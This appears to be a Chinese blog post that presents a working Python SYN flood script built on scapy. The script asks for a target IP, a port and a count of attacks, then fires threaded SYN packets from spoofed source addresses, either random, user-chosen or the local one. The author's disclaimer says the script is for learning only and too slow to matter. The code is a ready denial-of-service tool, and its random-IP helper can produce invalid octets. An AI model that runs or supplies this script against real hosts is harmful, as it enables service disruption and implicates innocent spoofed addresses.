SYN Flood的python實現
代碼如下。需要事先安裝scapy庫。(是scapy 不是scrapy)
from scapy.all import *
import random
from scapy.layers.inet import TCP, IP
import socket,threading
dst=""
dport=0
class flood_SYN(threading.Thread):
global dport,dst
def __init__(self):
threading.Thread.__init__(self)
def run(self):
sport = random.randint(1, 65535)
ip = IP(src=src, dst=dst)
tcp = TCP(sport=sport, dport=dport)
SYN = ip / tcp
print(SYN.summary())
send(SYN,verbose=0)
#def SYNFlood(src, dst, dport):
# sport = random.randint(10000, 65535)
# ip = IP(src=src, dst=dst)
# tcp = TCP(sport=sport, dport=dport)
# SYN = ip / tcp
# print(SYN.summary())
# send(SYN)
def randomIP():
ip = ''
for i in range(3):
ip += str(random.randint(0, 256))
ip += '.'
ip += str(random.randint(0, 256))
return ip
def localIP():
s=''
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip
if __name__ == "__main__":
src = ''
dst = input("請輸入要攻擊的目標IP:")
dport = int(input("請輸入要攻擊的目標端口:"))
print("源地址如何選擇?\n")
print("1 隨機生成\t2 由我輸入\t3 使用本機(若本機IP地址較多,則不建議使用)")
src_choice = input()
if src_choice == '1':
print("警告:隨機生成的IP地址的主機可能很反感未經授權的[SYN,ACK]半連接!")
elif src_choice == '2':
src = input("請輸入要偽裝的源地址IP:")
elif src_choice == '3':
src = localIP()
else:
print("無效輸入!")
exit(1)
times = int(input("請輸入攻擊次數:"))
for i in range(times):
if src_choice == '1':
src = randomIP()
flood_SYN().start()
用了簡單的多線程。但是速度還是慢,遠不及hping3。
獲取本地IP借鑒了網上的一個辦法,感覺比先獲取本機名字在獲取IP的辦法要優雅。是先准備一個包,然后從包上獲取IP地址。在本機IP比較多的情況下可能不一定會獲取到哪個,通常是“比較常用”的那個地址。
因為效率也很低所以及不擔心用來做什么非法活動了。真要用DDoS也看不上我的腳本哈。
當然還是僅供學習參考!